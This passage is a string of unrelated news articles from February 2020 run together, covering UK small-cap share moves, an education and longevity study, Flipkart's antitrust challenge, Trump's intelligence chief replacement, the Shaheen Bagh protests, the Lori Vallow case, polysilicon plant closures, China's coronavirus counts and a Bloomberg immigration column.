Cambridge Raman Imaging, which was awarded a 140,000 EU grant for the development of its scanning microscope. Immunodiagnostics group Oncimmune soared 37 per cent to 60p on another award, as the UK Department for International Trade crowned it 'Winning in Business in Spain'. Moving onto the media sector, Ebiquity leaped 33 per cent to 36p as it said full-year trading that was 'in line' with its expectations after cutting down debt. Natural resources player Oracle Power was jolted 28 per cent higher to 0.9p, thanks to a new consortium with China National Coal Development and Dubai billionaire to develop a lignite coal mine plus a power plant in Pakistan. In the US, Tertiary Minerals rocketed 66 per cent to 0.3p as it starts drilling at its Pyramid gold project to confirm historic exploration results. Some of its competitors had a lacklustre week, such as Conroy Gold and Natural Resources, down 9 per cent to 13p after raising 302,500 by selling shares at an 11 per cent discount. Likewise, BlueRock Diamonds slipped 9 per cent to 87p after selling shares for 1.9million at a 13 per cent discount to speed up production at its Kareevlei mine in South Africa. Elsewhere, lasers producer 600 Group tanked 22 per cent to 11p after warning on profits again as it suffers coronavirus disruption while trading in the US got worse. Coronavirus fears hit oil services provider Tekmar Group too, which slumped 21 per cent to 119p, due to its close business ties with China. Information technology provider CloudCoCo fell off its perch (and 10 per cent to 0.9p) after posting lower sales and profits as it focuses on existing clients rather than bringing in new business. Back home, Cambridge Cognition tumbled 16 per cent to 23p, as the brain health specialist reported a weaker 2019 due to delays as well as a discounted fundraising. The struggle was real for door handles and fans manufacturer Titon, down 16 per cent to 94p on a profit warning due to tough trading in the UK. Staying in school and going to university could add years to your life, a study has shown. Researchers combed through data of more than 5,000 American people and found those who stayed in education tended to live longer. Each qualification - such as a degree or masters - added around one year and four months onto a person's life. The team said race and money did not prove to be indicators of life expectancy like qualifications did. Staying in school and going to university could add years to your life, a study has shown How many years a person lives is related to a long list of factors, including where they live, their ethnicity and employment opportunities. Disentangling these variables and assessing their relative impact is a difficult task. The study led by the Yale School of Medicine and University of Alabama-Birmingham looked at some of the strongest variables. They collected data for around 5,114 people in four US cities who were recruited for a longevity study 30 years ago. A total of 395 people died before they reached their mid 50s. 'These deaths are occurring in working-age people, often with children, before the age of 60,' said Dr Brita Roy, corresponding author of the paper. Level of education, and not race, was shown to be the best predictor of who would live the longest, researchers reported in the American Journal of Public Health. WHERE DO PEOPLE LIVE THE LONGEST IN THE WORLD? Swiss women live the longest in the world, suggests a review of life expectancies from 15 major countries. Females living in the land-locked European nation can expect to live for 79.03 years. Australian women rank second at 78.9 years, with Norway coming in at third place at an average of 78.61 years. Italy came bottom of the pile for women, with females from the nation famous for its cuisine living until they are 72.14, on average. Women in the UK and US have a life expectancy of 76.43 years and 76.08, ranking sixth and eighth, respectively. Scientists at the University of Pennsylvania revealed Australia tops the charts for male life expectancy at 74.1 years. Men in the European countries of Sweden and Switzerland came second (74.02 years) and third place (73.7 years). Males from sunny Portugal only have a life expectancy of 64.77 years, placing them last out of the 15 countries. For men, the UK ranks sixth (72.33 years) and the US fares slightly worse at eighth place (71.57 years). The findings were published in the journal Population Studies in August. Advertisement Five per cent of those who died were college graduates compared with 13 per cent of those who dropped out of education sooner. The mortality rate also showed some clear racial differences - approximately nine per cent of black people died at an early age compared to six per cent of Caucasian people. However, when looking at race and education at the same time, differences related to race all but disappeared. The researchers used a measure called Years of Potential Life Lost (YPLL) as a projection of life expectancy. They said each educational step obtained led to 1.37 fewer years (one year and four months) of lost life expectancy. 'These findings are powerful,' Dr Roy said. 'They suggest that improving equity in access to and quality of education is something tangible that can help reverse this troubling trend in reduction of life expectancy among middle-aged adults.' The study goes against stacks of evidence which shows how much money people earn as reliable way of predicting their lifespan. In England, there is a noticeable gap in life expectancy when looking at rich and poor people. The life expectancy gap between the richest and poorest women is 7.9 years, and 9.7 years for men, according to a study published in Lancet Public Health which analysed Office for National Statistics data. After Amazon, Walmart's Flipkart has filed a legal challenge against the anti-trust probe ordered by Competition Commission of India (CCI). Flipkart argued in its plea that the CCI ordered the initial probe without any evidence that the company's practices were harming competitors. Flipkart said the CCI order was "perverse (and) passed without any application of mind". "Such an order exposes responsible corporate entities ... to the rigors of an intrusive investigation prejudicially affecting not only its credibility and reputation, but also its commercial prospects," said Flipkart, urging the court to quash the probe, as mentioned in a report in news agency Reuters. Flipkart also said that the CCI 'failed in its duty' to close the 'frivolous' complaint and said that the probe would harm the company's reputation as well as lead to loss of time and legal costs. Also read: CCI orders antitrust probe against Amazon, Flipkart A spokesman for Flipkart did not comment on the contents of the filing, and told the news agency that it was a "procedural matter". The CCI, too, did not respond to the news agency's request for comment. The case is likely to be heard next week. The filing comes days ahead of US President Donald Trump's visit to India, and amid concerns of India's tightening of foreign investment rules in the e-commerce sector. Also read: Amazon Inc challenges CCI investigation; says will cause 'irreparable loss' to company The CCI had ordered a probe into alleged violation of competition law and certain discounting practices by Flipkart and Amazon. A state court had put the investigation on hold last week following a challenge by Amazon. Indian retailers had accused Amazon and Flipkart of violating local laws and racking up billions of dollars of losses to fund deep discounts. They were also accused of discriminating against small sellers. The companies have denied the allegations. The antitrust probe was ordered after a New Delhi-based trader group complained that the e-commerce giants were promoting select sellers and in turn hurting business for other smaller players. Also read: CCI defends probe against Amazon; says company's claim unfounded Donald Trump replaced his intelligence chief Thursday as reports emerged that the US president was furious with the official over a briefing given to lawmakers about Russian interference in the 2020 election campaign. Trump erupted in anger at acting director of national intelligence (DNI) Joseph Maguire when he learned of the February 13 session with the House Intelligence Committee, US media reported. It wasn't immediately clear if Trump had objected to a specific element of the talk, in which Maguire aide Shelby Pierson reportedly told lawmakers Russia was once again meddling in the US election on Trump's behalf. But the president was annoyed by the presence of Adam Schiff, the Democratic head of the investigation that led to Trump being impeached for abuse of power and obstruction of Congress, according to The New York Times. Maguire had been a favorite to be nominated for the permanent DNI post but Trump soured on the official, The Washington Post said, when he heard about the classified election security briefing. The president berated Maguire in an Oval Office showdown last week for the "disloyalty" of his staff, the Post reported, effectively thwarting his chances of becoming a permanent hire. There was "a dressing down" that was the "catalyst" for Maguire's sidelining, the Post quoted one unnamed source as saying. Trump was impeached in December over accusations that he coerced ally Ukraine into helping him cheat in the 2020 election, withholding military aid considered vital to the former Soviet republic in its war with Russia. Since he was acquitted by the Republican-led Senate, an emboldened Trump has been purging the Justice Department, National Security Council and Pentagon of staff he considers disloyal. Casualties have included NSC staffer Lieutenant Colonel Alex Vindman and EU ambassador Gordon Sondland -- both key witnesses in the impeachment inquiry -- Vindman's twin brother, an NSC lawyer who wasn't involved, and Pentagon policy chief John Rood. Trump announced on Wednesday he was replacing Maguire with Richard Grenell, the ambassador to Germany with a blunt approach that irritated the close ally. Democrats have voiced outrage over the placement of Grenell, who takes charge after a period of tension between intelligence professionals and Trump, who has played down Russian interference in the last election. Grenell, 53, who has no relevant background or top-level management experience, will supervise 17 agencies including the CIA. "He is committed to a non-political, non-partisan approach as head of the Intelligence Community, on which our safety and security depend," White House press secretary Stephanie Grisham said in a statement Thursday. Grenell said on Twitter he would not serve permanently and that Trump would "soon" select someone else. Trump has declined to hire a permanent replacement for Dan Coats, who stepped down as DNI in August after standing firm on the intelligence community's conclusion that Russia interfered in 2016 to back Trump over Hillary Clinton. Grenell has previously cast doubt on the extent of Russia's efforts, saying that Moscow's activities were nothing new. Senator Ron Wyden, a Democrat on the intelligence committee, accused Trump of prioritizing "unquestioning obedience over the safety of the American people." Grenell has cheered on the rise of right-wing populists in Europe, including hailing Austria's ultra-conservative chancellor, Sebastian Kurz, as a "rock star." He has been unusually outspoken for an ambassador in criticizing the country where he serves, including warning German companies over Twitter to comply with Trump's orders not to do business in Iran. Ned Price, a former aide to president Barack Obama, said Trump "has dropped the charade that he has any use for intelligence." "He has just named the most political -- and abrasive -- US ambassador to what it supposed to be the least political -- and undoubtedly delicate -- role," he wrote on Twitter. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) TORONTO - A six-month suspension handed to a high school teacher who told a student he didn't want any Afghans in his class was disappointing, a Muslim organization says. Hey there, time traveller! This article was published 21/2/2020 (690 days ago), so information in it may no longer be current. TORONTO - A six-month suspension handed to a high school teacher who told a student he didn't want any Afghans in his class was disappointing, a Muslim organization says. The licence suspension for Martin Bonello sends the wrong message, Mustafa Farooq, executive director with the National Council of Canadian Muslims, said in a statement. "The reality is that Mr. Bonello's remarks devastated the student," Farooq said. "The fact that a teacher can racially abuse a student, and only face a slap on the wrist, is an insult to the notion of safe and inclusive classrooms." Discipline records show the incident occurred at a school in the Peel District School Board just west of Toronto four years ago where Bonello was a construction technology teacher. According to an agreed statement of facts, the teacher told the student, who cannot be identified, in front of others in the classroom: "I don't want you to blow up my class," Bonello said. "No Afghanis in here!" The upset student left the classroom and later told the vice-principal that he felt singled out and like an "invisible person sitting in the class." Bonello was suspended with pay pending an investigation. The issue involving the student was one of several incidents in which Bonello was found wanting. The others include kicking students out of class without explanation and allowing them to wander around unsupervised. The probe also turned up numerous health and safety problems involving him. The disciplinary hearing, in November, was also told that 12 of 23 workplace inspections between 2011 and 2015 at the school turned up health and safety hazards in Bonello's woodworking classroom. Those hazards included electrical dangers, obstructed exits, unsafe storage of items, and safety guards removed from machinery. Bonello appeared resistant to making needed changes. "Investigators concluded the member had a 'blatant disregard for health and safety recommendations'," the panel heard. Similar problems involving Bonello had occurred before. In 2008, he was given a disciplinary letter for leaving students unsupervised and failing to address various safety issues and formally cautioned in 2011. A year later, the board suspended him for five days without pay for various issues, including "inappropriate language" toward students and removing equipment safety guards. Ultimately, the disciplinary panel found Bonello had engaged in acts of professional misconduct, and lifted his licence for six months as recommended by the college and his lawyer. "It is unacceptable for teachers to make demeaning comments to their students, and to model that type of insensitive behaviour for their students," the panel said. "The member's misconduct was serious and formed a concerning pattern of inappropriate and unprofessional behaviour." Bonello, a teacher since 2001, was also given a reprimand and ordered to take remedial courses. The board initially fired Bonello in October 2016 but he was allowed to resign after a grievance. It was not clear what Bonello has done since. His hearing lawyer did not immediately respond to a request for comment. This report was first published by The Canadian Press on Feb. 21, 2020. NEW DELHI: Differences have reportedly appeared among the Shaheen Bagh anti-CAA protesters over talks with the Supreme Court-appointed interlocutors as one faction is pressing for separate talks with the officials. This comes a day after the Supreme Court-appointed interlocutors - Sanjay Hegde and Sadhana Ramachandran - told the Shaheen Bagh protestors that terms and conditions of the talks will be decided by them. This was one of the conditions for initiating the dialogue with the anti-CAA protestors of Delhis Shaheen Bagh. However, ahead of the interlocutors` meeting on Friday, the women protesters sat on a dharna and made it clear that the condition set by the interlocutors for talks is not acceptable to them. One of the protestors, Mehrunisa, when asked about interlocutors suggesting women can meet them in a group of 20, said that there would be no talks in groups as suggested by Ramchandran. "There would be distrust among the rest who did not meet them in that particular group. Whatever they have to say, they should say it before all of us," Mehrunisa stated. Another protester Shakila Begum too became agitated when she was suggested to meet interlocutors in groups. "There would be no talks in groups. We are here with others. And we want everyone to listen to what others have to say, " Shakila said. Sadhana Ramachandran, one of the SC-appointed interlocutors, had on Thursday regretted that the panel tried to maintain peace and talk but that didn't happen. She announced that the mediators will not go to Shaheen Bagh on Friday but 10 women representing the protesters will meet separately in a different place for holding talks.. "We tried to maintain peace but it is not happening. We will not come here tomorrow. Our sisters here should find a place where talks can be held. A few of the women can come to hold talks but others will have to stay outside," Ramachandran said. On this, the protesters said that the talks will take place only in Shaheen Bagh and the road will open when the announcement will be made to withdraw Citizenship Amendment Act (CAA), National Register of Citizens (NRC) and National Population Register (NPR). On the matter of opening the road, the protesters have taken the negotiators to show them the alternative routes which have been closed by the police. The SC-appointed panel visited Shaheen Bagh on February 19-20 to hold talks with anti-CAA protesters to persuade them to shift their agitation to an alternate venue but failed to break the deadlock. In a related development, the road connecting Faridabad to Noida, which was blocked for the last 69 days due to the ongoing protests at Shaheen Bagh was re-opened briefly on Friday morning. However, it was closed again. Protests have been going on at Shaheen Bagh since December 15 last year against the Citizenship Amendment Act (CAA) due to which Kalindi Kunj road has been shut for traffic movement. The amended law grants citizenship to Hindus, Sikhs, Jains, Parsis, Buddhists and Christians fleeing religious persecution from Pakistan, Afghanistan, and Bangladesh and who came to India on or before December 31, 2014. The mother of two missing children has been arrested by police officers in Hawaii on a warrant issued by Madison County, Idaho, according to a statement from law enforcement. Lori Vallow, 46, was arrested on multiple charges, including on suspicion of two felony counts of desertion and nonsupport of dependent children, Kauai police said. She is being held by police on a $5 million bail, according to the statement. Joshua JJ Vallow, 7, and his sister, Tylee Ryan, 17, were last heard from in September. About two months later, Vallow and her husband, Chad Daybell, fled their Rexburg, Idaho, home when authorities began looking for the children, police previously said. CNN has previously reached out to Vallow and Daybells attorney, Sean Bartholick, but has not heard back. Another attempt to reach Bartholick on Thursday was not immediately successful. JJs grandmother, Kay Vallow Woodcock, reacted to the news of Lori Vallows arrest with joy. We are ELATED!! 10000000 lbs has been lifted. NOW, Lori, WHERE ARE THE KIDS???? she told CNN in a text message. Daybell was not arrested, police said. No Evidence Children in Hawaii, Police Say The couple were found in Hawaii in January and served with a search warrant. Vallow was given a deadline to turn the children over to authorities, a court order served by police said. She failed to meet it, according to a grandmother of one of the children. No date has been set for Vallows extradition hearing, police said. There is no indication the children are on the island, the statement reads. Vallow moved to Idaho with the children and married Daybell shortly after her estranged husband was killed in July in their former home state, Arizona, authorities have said. On Nov. 26, after relatives raised concern about not hearing from JJ since September, police conducted a welfare check at the couples Rexburg home and were told by Vallow and Daybell that the boy had been staying with a family friend back in Arizona. Police Investigated Familys Past The disappearances followed other investigations authorities had conducted around the familyone of them was into the death of Vallows estranged husband, who was shot and killed during a fight with her brother in Arizona. Vallows brother was not charged in the case and died in December, CNN affiliate KIFI/KIDK reported. His cause of death has not been released, and an investigation is pending the results of an autopsy, CNN affiliate KNXV reported in January. Vallow moved to Idaho shortly after and married Daybell, who had links to a religious content website. Vallows former husband had said she had recently become infatuated and at times obsessive about near death experiences and spiritual visions, according to a petition for dissolution of marriage filed last February. Authorities are also investigating the death of Daybells previous wife, Tammy Daybell. Her death was initially believed to be of natural causes, but Rexburg police later said it was suspicious and her remains were exhumed. Vallow and Daybell were married a few weeks after her death, police said. The-CNN-Wire & 2020 Cable News Network, Inc., a WarnerMedia Company. All rights reserved. Good morning, Bay Area. Its Friday, Feb. 21, and hundreds of people who will probably never develop coronavirus symptoms are staying at home. Heres what you need to know to start your day. The Oakland Police Commission fired Oakland Police Chief Anne Kirkpatrick, commission Chairwoman Regina Jackson said Thursday night, a unanimous decision in a closed session. Theres been little love lost between Kirkpatrick and commissioners over the past several months. Read more about the late-night firing from reporters Megan Cassidy and Sarah Ravani. Muni right of way Jessica Christian / The Chronicle Effective immediately, the power to alter traffic patterns on key San Francisco streets lies in the hands of one person the citys traffic engineer. The Board of Directors of the San Francisco Municipal Transportation Agency gave those powers all meant to unsnag buses and Muni trains from the tangles of traffic and bureaucracy by unanimous vote Wednesday. Rachel Swan reports on the 10 streets that fall under the traffic engineers new authority and what they can change. Changed lives Yalonda M. James / The Chronicle When documentary filmmaker Kevin Epps fatally shot a man inside a San Francisco home where two children were staying, he said he was defending himself from a drug-addled intruder with a violent criminal past. The district attorneys office appeared to believe him and declined to file criminal charges. But in a surprising turn last year almost three years after the shooting prosecutors reversed course and charged Epps based, in part, on a tenuous digital re-creation of the killing. Reporter Evan Sernoffsky, who recently interviewed Epps, explains the factors the case is hinging on. Road to the White House John Locher / Associated Press Amy Klobuchar believes it will take an experienced politician with a history of working across party lines to get the bipartisan voter support she thinks the next president will need to bring the country together. Her beliefs are reflected in her campaign proposals and the policies shes running under. For all of these things that are so critical to the future of Northern California, we cant just eke (out) that victory in the presidential election, Klobuchar told supporters in San Carlos in November. Heres what a Klobuchar presidency would mean for California. Previously: What a Biden, Bloomberg, Buttigieg, Sanders and Warren presidency would mean for California. Candidate matchmaker: Answer some policy questions; get some recommendations. Reporting from Nevada: The presidential hopes of the all-white Democratic field rest on the candidates ability to connect with Nevadas (and soon Californias) diverse electorate. Their approaches couldnt be more different. Staying at home Hundreds of people who recently traveled from China back home to the Bay Area are now quarantining themselves under the careful watch of local public health officials, in an unprecedented national effort to slow down, and possibly stop entirely, spread of the coronavirus in the United States. Statewide, about 6,700 people have self-isolated in their homes to monitor for symptoms of the California Department of Public Health reports staying home from work or school and limiting their social interactions for 14 days the maximum incubation period of the new virus. Read more about the experience of one man who self-isolated and has since cleared the 14-day window without symptoms. Latest updates: 16 cruise evacuees from Travis Air Base taken to hospital, while Santa Clara patient recovers. In a Fifth & Mission podcast, a California couple describe life under quarantine. What you need to know. Nuru case A woman identified by federal officials as Girlfriend 1, an apparent romantic partner and confidant of former Public Works Director Mohammed Nuru, is city official Sandra Zuniga, according to people familiar with the matter. She traveled with him when he allegedly accepted improper gifts, according to federal documents. The revelation about Nuru and Zunigas relationship is another example of the coziness of the city family that critics have pointed to in the wake of the corruption allegations, Dominic Fracassa writes. Read more, including The Chronicles policy on anonymous sources. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Around the Bay Tainted groundwater near school: A cancer-causing chemical found in groundwater has forced an Oakland school to abruptly cancel classes and close through at least Wednesday. Delta suit: California sues Trump administration again this time over water A long season: Keep Stephen Curry on Warriors bench this season? Thats just silly, Ann Killion writes. More: Warriors officially rule out Klay Thompson for rest of season with knee injury. Those French Laundry plates: Where do Napas top restaurants get their plates and platters? From this two-person pottery studio. Astros cheating scandal: As Mike Fiers says hes received death threats, plans to keep Astros ring. He left a mark on Berkeley: Glenn Yasuda, founder of renowned grocery store Berkeley Bowl, has died. Cactus games: What to watch for as Giants begin spring games under new manager Gabe Kapler. Three days of searching: Mountain lion that attacked girl in Santa Clara County park captured and euthanized. 300 properties: Heres where California is offering land for homeless housing. In case you missed it Gabrielle Lurie / The Chronicle 2019 It seems like a simple question: Why does the Bay Area have such an acute and worsening homelessness crisis? Ask 20 people, and youll probably get 20 different answers. There are perhaps more opinions about the causes of this epidemic than there are about any other topic, and even more opinions about what might solve it. In our coverage of this issue, The Chronicle seeks to both inform and stimulate discussion about homelessness. We asked readers to send us questions they might have about its causes, impacts and possible solutions. Here are those answers. Bay Briefing is written by Taylor Kate Brown and sent to readers email inboxes on weekday mornings. Sign up for the newsletter here, and contact Brown at taylor.brown@sfchronicle.com. Hanwha Solutions' solar panels installed in Frankfurt, Germany. Courtesy of Hanwha Solutions Hanwha, OCI shut down polysilicon plants By Kim Hyun-bin The country's solar industry is facing a major setback after the top two solar businesses shutdown all polysilicon plants in Korea, which will inevitably have an impact on the Moon Jae-in administration's initiative to grow its renewable energy sector. "We have decided to cease production of polysilicon, which recorded deficits for several years," Hanwha Solutions said after a board meeting Thursday. The announcement comes a week after its rival OCI, the country's leading and world No. 2 polysilicon manufacturer, said last week it would halt domestic production because it is unable to match the price of cheaper Chinese products. Polysilicon is considered to be fuel to the solar industry and is used to produce silicon ingot and wafer. The ingot and the wafer are used to develop the cell modules that are embedded in the solar generator. OCI locally produced 52,000 tons and Hanwha Solutions 15,000 tons a year of polysilicon, but all production stopped as of Thursday. Power bills account for 45 percent of the cost of producing polysilicon, which makes it difficult to compete with Chinese competitors as electricity rates in China are only a seventh of Korea's. This comes after the Chinese government drastically increased its generation capacity by building scores of nuclear power plants. However, Korea has been going in the opposite direction, with the Korea Electric Power Corp. under immense pressure to raise power prices to cover accumulated losses resulting from the government's efforts to phase out nuclear power plants. "The selling price of the polysilicon is nearly half the cost of production, so if we increase operations, our deficit will rise with it," a Hanwha Solutions official said. "So we plan to liquidate the business within the year's end. Just last year alone we suffered an 80 billion won operating loss." In 2008, a kilogram of polysilicon was $400, but in 2018, the price dropped to $17, further reducing to $7 this year. The break-even point for polysilicon is about $13 a kilogram. As a result, the company suffered a net loss of 248.9 billion won ($207.4 million) for 2019 after a net profit of 160.4 billion won the previous year, despite a sales increase, the company said in a regulatory filing Thursday. Sales rose by 5.05 percent to 9.05 trillion won last year from a year ago. Hanwha Solutions plans to focus on other solar-powered businesses. "Our cell module technology is on the right track, so we plan to expand our business and enhance our profit model," the company said. The company's solar-power business delivered a record-breaking operating profit of 223.5 billion won last year, driven by strong sales worldwide from its more efficient mono solar cells production. Hanwha Solutions was formed this year through the merger of Hanwha Chemical, Hanwha Q Cells and Hanwha Advanced Materials. OCI shut down three plants in Gunsan, North Jeolla Province, Thursday. Two plants, which produced polysilicon for solar cells, have ceased operations for an undetermined period. The other plant that produces polysilicon for semiconductors is scheduled to resume operations in May. "Since 2012, there has been a structural decline in polysilicon prices," the company said. "Given the current polysilicon price, we are skeptical about resuming the operation of the plants." The company expects to cut costs by at least a 25 percent from the closures. Currently, OCI only produces polysilicon for solar cells at its Malaysian plant. KYODO NEWS - Feb 21, 2020 - 19:25 | World, All, Coronavirus China recorded fewer than 1,000 new coronavirus infections on two consecutive days earlier this week, its health authorities said Friday, after the country stopped including clinically diagnosed cases of the pneumonia-causing virus in its daily tallies. The health authorities said they received reports of 889 new cases on Thursday, more than double Wednesday's 394, bringing the tally in mainland China to 75,465. The death toll from the COVID-19 virus has reached 2,236, after an increase of 118 on the mainland on Thursday, 115 of them in the central province of Hubei at the center of the epidemic. In new diagnostic and treatment guidelines published Wednesday, the health authorities said they would no longer count cases if the patient has not returned a positive result in a virus test. The latest policy, which reversed a change to diagnostic criteria made just a week earlier, was followed by a sudden drop in daily infection cases reported Thursday. Hubei, where the vast majority of deaths and infections have been reported, confirmed 349 new cases on Thursday after removing 279 existing cases from its tally based on test results. Recognizing the confusion the changes have caused, Hubei's health authorities declared on Friday afternoon that no reduction in the number of confirmed cases is allowed and that all the previously reduced cases must be added back. Those involved will be investigated and held responsible, officials told a press briefing, revealing turmoil within the provincial government whose leader was replaced just last week. (A child is covered with a plastic bag before getting into a taxi in Beijing on Feb. 13, 2020.) Earlier the same day, health authorities in Hubei, revised the number of newly confirmed cases they reported earlier in the day to 631 from 411. The new tally now includes 220 cases newly found in the province's prisons, raising the total prison infections as of Friday to 271. No change has so far been made to the total for the mainland as a whole. The prison infections include 230 from a single women's prison in the province, according to local media. In a related development, a prison in Shandong Province, about 360 kilometers south of Beijing, has reported 207 confirmed virus cases, including seven prison guards. The prison discovered 200 inmates had been infected after a guard was diagnosed with the disease on Feb. 13, officials told a press briefing on Friday. Eight provincial-level officials have been dismissed in connection with the prison infections, according to local media. Also Friday, a prison in the eastern province of Zhejiang reported a total of 34 infections. Both the warden and the Communist Party leader of Shilifeng prison have been removed and an investigation into the outbreak has been launched, local authorities said. Less than a week after the director of a major hospital in the worst-hit city of Wuhan in Hubei died of the infectious disease, another doctor battling the outbreak on the front line, Peng Yinhua, succumbed to the disease on Thursday night, Wuhan's health authorities said Friday. The outbreak is believed to have originated late last year in Wuhan, Hubei's provincial capital also known as a major business and transportation hub with a population of some 11 million. The Boao Forum for Asia, a key regional economic forum scheduled for next month, is set to join a rising number of global events postponed indefinitely due to the virus, the South China Morning Post reported Friday, citing two sources briefed on the matter. Billed as Asia's alternative to the World Economic Forum in Davos, the conference has been held annually since 2002. Government officials and business leaders from home and abroad were to gather for four days from March 24 in the southern island province of Hainan. The China Development Forum, a gathering of high-level government officials and global business executives organized by a foundation under the State Council, said earlier this month it would postpone the Beijing event indefinitely. Meanwhile, Hubei announced late Thursday that it will postpone the resumption of business operations in the province to March 11 as the overall situation remains "grim and complex," despite some improvements. Businesses in the province were set to reopen Friday. Supermarkets, pharmacies and medical supply manufacturers have been exempted from the suspensions. Related coverage: Tokyo Olympics to be held as planned despite new coronavirus: Suga Japan to assist Chinese table tennis rivals amid coronavirus crisis S. Korea sees surge in coronavirus cases, worries grow over sect members Roger Stone is sentenced to 40 months in prison for lying to Congress, but the president is confident he will be cleared. US President Donald Trump has weighed in on the case of his longtime adviser saying he has a very good chance of exoneration after Roger Stone was sentenced to three years and four months in prison. Stone was convicted of lying to Congress, witness tampering and obstructing the investigation into alleged Russian interference in the 2016 presidential elections. Stone was facing a much longer sentence until Trump tweeted about his case. Al Jazeeras John Hendren reports from Washington, DC. (Bloomberg Opinion) -- The children of immigrants arent happy about immigration. Donald Trumps German-born grandfather came to America illegally as a teenager at the end of the 19th century, a fact he doesnt mention when threatening to deport millions of undocumented migrants. Britains exit from the European Unions free-movement area was championed by Boris Johnson, a U.S.-born descendant of an Ottoman-Turkish minister. And the U.K.s new stricter points-based immigration system, favoring specific skills, is to be run by Home Secretary Priti Patel, whose Ugandan-born parents arrived in the country with nothing. While its tempting to paint them as hypocrites stoking up fear Johnson was happy to champion immigrants when he was London mayor things arent always so clear cut. As frustrating as it may be for immigrants like myself who fall foul of or disagree with their policies, the likes of Johnson and Patel seem in sync with many of their fellow citizens. Leaving the EU and introducing new immigration curbs were two campaign pledges that won their party a parliamentary majority in December. One YouGov survey conducted this week found that 48% of Brits believed the level of U.K. immigration was too high, versus 33% who thought it about right and 6% too low. Another found that 83% of Brits believed migrants should have to learn the language of their host country. Yet U.K. attitudes to immigration are softer than in most EU nations: The politics of immigration, like the politics of trade, reflects a desire for more control from what the British writer David Goodhart calls the Somewheres people with a rooted identity, a lack of geographic and social mobility and fewer professional qualifications. The city-hopping Anywheres are on the back foot. The divide highlights the winners and losers of globalization. Lower barriers to trade and immigration have been good for the economy overall, as work by economists such as Jonathan Portes shows, leading to cheaper, more efficiently produced goods and nearly full employment in the U.K. But more competition has also created strains at the margins. A London-centric, low-wage, service-dominated economy has fueled national resentment and pushed politicians to take back control of immigration policy, whatever the cost. Story continues With Brexit achieved, and free EU movement about to come to an end, it feels like a large part of the debate is over. After a decade-long surge in EU migration to the U.K., migrants are starting to go home. The issue isnt as high a priority for Brits as it used to be, even if its still an emotive subject. But the debate over controlled immigration is only just beginning. Johnson and Patels ruling Conservatives reckon their new system will bring down overall net migration, thereby calming voter anger. Only by doling out more points to highly skilled, better paid workers who speak English, the thinking goes, will British workers avoid competing with low-wage EU rivals. Yet at the same time, the U.K. will have to make sure immigrants do keep coming to help the economy and its ageing population through tax receipts, staffing the National Health Service, providing seasonal labor for agriculture, filling skills gaps, and more. Its hard to see how Johnson can square this circle. The points arent given generously some 70% of EU migrants wouldnt make the cut. (Yours truly, fresh out of college, wouldnt have made it either). Thats a huge gap to fill in less than a year for the U.K.s 800,000 young people not in work currently. Their pride might be stung if it turns out that raising barriers to entry means a wider gulf between well-remunerated foreigners and badly paid natives doing the menial stuff. Given the worries about whether there are enough Brits who want to do these jobs, there are already exemptions brewing for several sectors that would barely function without migrant workers, including the NHS and farming. And its not as if central government has a great record of managing such huge policy shifts. The Home Office has already run into various administrative and bureaucratic issues since Brexit. It may be overwhelmed. This is only the beginning of a long process, however. For the first time in decades the U.K. is actually debating how to manage the entirety of its immigration policy, and the Anywheres should jump at the chance to take part. Hassan Damluji, author of The Responsible Globalist, argues convincingly that those who believe in immigrations benefits and support the EU as a multilateral bloc should still respect the role of the nation as a preeminent actor, and stop always obsessing about the economy and belittling those who feel short-changed by mass migration. Witness the bizarre efforts in the European Parliament to grant associated citizenship to Brits, a concept that is both goofy and irresponsible. Time would be better spent trying to make sure students and asylum seekers get preferred treatment when coming into Britain. We shouldnt be blind to the dangers of a world retrenching to national borders: The last comparable wave of globalization happened at the turn of the 20th century and was ultimately halted by war. But for as long as the Somewheres are willing to debate, the Anywheres should listen and respond with intelligence. To contact the author of this story: Lionel Laurent at llaurent2@bloomberg.net To contact the editor responsible for this story: James Boxell at jboxell@bloomberg.net This column does not necessarily reflect the opinion of Bloomberg LP and its owners. Lionel Laurent is a Bloomberg Opinion columnist covering Brussels. He previously worked at Reuters and Forbes. For more articles like this, please visit us at bloomberg.com/opinion Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. What is the coronavirus? A coronavirus is a type of virus which can cause illness in animals and people. Viruses break into cells inside their host and use them to reproduce itself and disrupt the body's normal functions. Coronaviruses are named after the Latin word 'corona', which means crown, because they are encased by a spiked shell which resembles a royal crown. The coronavirus from Wuhan is one which has never been seen before this outbreak. It has been named SARS-CoV-2 by the International Committee on Taxonomy of Viruses. The name stands for Severe Acute Respiratory Syndrome coronavirus 2. Experts say the bug, which has killed around one in 50 patients since the outbreak began in December, is a 'sister' of the SARS illness which hit China in 2002, so has been named after it. The disease that the virus causes has been named COVID-19, which stands for coronavirus disease 2019. Dr Helena Maier, from the Pirbright Institute, said: 'Coronaviruses are a family of viruses that infect a wide range of different species including humans, cattle, pigs, chickens, dogs, cats and wild animals. 'Until this new coronavirus was identified, there were only six different coronaviruses known to infect humans. Four of these cause a mild common cold-type illness, but since 2002 there has been the emergence of two new coronaviruses that can infect humans and result in more severe disease (Severe acute respiratory syndrome (SARS) and Middle East respiratory syndrome (MERS) coronaviruses). 'Coronaviruses are known to be able to occasionally jump from one species to another and that is what happened in the case of SARS, MERS and the new coronavirus. The animal origin of the new coronavirus is not yet known.' The first human cases were publicly reported from the Chinese city of Wuhan, where approximately 11million people live, after medics first started publicly reporting infections on December 31. By January 8, 59 suspected cases had been reported and seven people were in critical condition. Tests were developed for the new virus and recorded cases started to surge. The first person died that week and, by January 16, two were dead and 41 cases were confirmed. The next day, scientists predicted that 1,700 people had become infected, possibly up to 7,000. Where does the virus come from? According to scientists, the virus almost certainly came from bats. Coronaviruses in general tend to originate in animals the similar SARS and MERS viruses are believed to have originated in civet cats and camels, respectively. The first cases of COVID-19 came from people visiting or working in a live animal market in Wuhan, which has since been closed down for investigation. Although the market is officially a seafood market, other dead and living animals were being sold there, including wolf cubs, salamanders, snakes, peacocks, porcupines and camel meat. A study by the Wuhan Institute of Virology, published in February 2020 in the scientific journal Nature, found that the genetic make-up virus samples found in patients in China is 96 per cent identical to a coronavirus they found in bats. However, there were not many bats at the market so scientists say it was likely there was an animal which acted as a middle-man, contracting it from a bat before then transmitting it to a human. It has not yet been confirmed what type of animal this was. Dr Michael Skinner, a virologist at Imperial College London, was not involved with the research but said: 'The discovery definitely places the origin of nCoV in bats in China. 'We still do not know whether another species served as an 